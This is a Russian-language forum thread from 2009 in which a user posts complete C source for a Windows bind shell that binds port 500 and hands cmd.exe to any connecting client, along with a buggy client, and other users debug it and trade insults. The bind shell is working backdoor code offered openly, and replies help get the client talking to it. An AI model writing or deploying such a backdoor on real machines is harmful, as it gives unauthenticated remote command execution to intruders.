Клиент для bind shell'a

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by _nic, 6 Apr 2009.

  1. _nic

    _nic Elder - Старейшина

    Joined:
    5 May 2006
    Messages:
    651
    Likes Received:
    54
    Reputations:
    3
    Как должен выглядеть такой клиент?А то с обычным телнетом шеллы работают.А если пытатся слать в них по принципу принял-отправил-принял то ничего неполучается. :(
    Вот шелл на основе которого пытаюсь разобратся
    Code:
    #include <windows.h>
    #include <winsock2.h>
    #include <stdio.h>
    int main()
    {
    struct sockaddr sockadr2;
    	struct sockaddr_in sockadr;
    	struct hostent    *host = NULL;
    	long handle;
    	PROCESS_INFORMATION cmdproc;
    	STARTUPINFO cmdrun;
    	WSADATA wsaData;
    	SOCKET sock;
    
    	WSAStartup(MAKEWORD(1,1), &wsaData);
    	sock = socket(AF_INET, SOCK_STREAM,0);
     
        sockadr.sin_family = AF_INET;
        sockadr.sin_port = htons(500);	
    	sockadr.sin_addr.s_addr = htonl(INADDR_ANY);
    
    	bind(sock, (struct sockaddr *)&sockadr, sizeof(sockadr));
    	listen(sock, 0);
    	
    	while(true){
    		handle = accept(sock, &sockadr2, 0);
    		if(handle != INVALID_SOCKET){
    			ZeroMemory(&cmdrun, sizeof(cmdrun));
    			cmdrun.cb = sizeof(cmdrun);
    			cmdrun.hStdInput = (void *)handle;
    			cmdrun.hStdError = (void *)handle;
    			cmdrun.hStdOutput = (void *)handle;
    			cmdrun.dwFlags = STARTF_USESTDHANDLES;
    			CreateProcess("C:\\windows\\system32\\cmd.exe", "", 0, 0, true, 0, 0, 0, &cmdrun, &cmdproc);
    			WaitForSingleObject(cmdproc.hProcess, INFINITE);
    			CloseHandle(cmdproc.hProcess);
    			CloseHandle(cmdproc.hThread);
    			shutdown(handle, 1);
    			CloseHandle(&handle);
    		}
    	}
    }
    
    А вот это я пытался сделать клиент:
    Code:
    int main()
    {
    char *buf=new char[1024*1024];
    SOCKET s;SOCKADDR_IN adr;WSADATA wsd;
    WSAStartup(MAKEWORD(2,0),&wsd);
    adr.sin_family=AF_INET;
    adr.sin_port=htons(500);
    adr.sin_addr.s_addr=inet_addr("127.0.0.1");
    s=socket(AF_INET,SOCK_STREAM,0);
    getch();
    connect(s,(sockaddr*)&adr,sizeof(adr));
    Sleep(1000);
    for(;;)
    {
    recv(s,buf,1024*1024,0);
    if(strlen(buf)>0)
    {
    cout<<buf;
    memset(buf,NULL,strlen(buf));
    cin>>buf;
    send(s,buf,strlen(buf),0);
    }
    if(strcmp(buf,"exit")==0){break;}
    memset(buf,NULL,strlen(buf));
    }
    delete []buf;
    }
    
     
  2. 12usver12

    12usver12 Elder - Старейшина

    Joined:
    12 Dec 2007
    Messages:
    50
    Likes Received:
    9
    Reputations:
    0
    CreateProcess("C:\\windows\\system32\\cmd.exe", "", 0, 0, true, 0, 0, 0, &cmdrun, &cmdproc);

    это че за убожество
     
  3. _nic

    _nic Elder - Старейшина

    Joined:
    5 May 2006
    Messages:
    651
    Likes Received:
    54
    Reputations:
    3
    Накручиваем посты?Я спрашивал про клиент а не про шелл.Если нечего по теме скзать то надо молчать.
     
  4. gold-goblin

    gold-goblin Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    917
    Likes Received:
    174
    Reputations:
    3
    Это как?
    Что не получается? какая ошибка?
     
  5. panda gorl

    panda gorl New Member

    Joined:
    19 Mar 2007
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    C нормальным биндшеллом клиентом выступает telnet.
    Зачем клиент?
    И правильно ли я понимаю, что WaitForSingleObject(cmdproc.hProcess, INFINITE); будет ждать завершения процесса? Следовательно, если клиент будет завершен некорректно (не через exit), то биндшелл повиснет и не будет больше принимать соединения?
     
  6. _nic

    _nic Elder - Старейшина

    Joined:
    5 May 2006
    Messages:
    651
    Likes Received:
    54
    Reputations:
    3
    Код я привел выше.От шелла ничего на recv неприходит.
     
  7. panda gorl

    panda gorl New Member

    Joined:
    19 Mar 2007
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Вообще, мне кажется ты гонишь. Как у тебя такой биндшелл вобше компилится будет с windows.h и winsock2.h одновременно то?
     
  8. _nic

    _nic Elder - Старейшина

    Joined:
    5 May 2006
    Messages:
    651
    Likes Received:
    54
    Reputations:
    3
    Ещё раз для особо одареных :шелы обсуждайте в другой теме.Здесь обсуждается почему в качестве клиента телнет работает нормально ,и что надо самописному коду чтоб он тоже работал с ним нормально.
     
  9. panda gorl

    panda gorl New Member

    Joined:
    19 Mar 2007
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Самописный код писал такой же безрукий как и сам биндшелл.
    На recv здесь все прекрасно приходит. А вот печатать это он не будет, так как cout ждет перехода строки для вывода на экран. Использование printf исправляет ситуацию.
    Об остальных идиотизмах этого кода я вообще молчу (надо как минимум проверять возвращенное от recv значение на SOCKET_ERROR и != 0 и в зависимости от результата брякать, на exit вообще не проверять, поставить условия и т.п. и т.д.).

    Советую автору кода не программировать больше никогда.
     
  10. _nic

    _nic Elder - Старейшина

    Joined:
    5 May 2006
    Messages:
    651
    Likes Received:
    54
    Reputations:
    3
    Советую автору поста не тролить больше никогда.
    ЗЫ:Все еда закончилась :D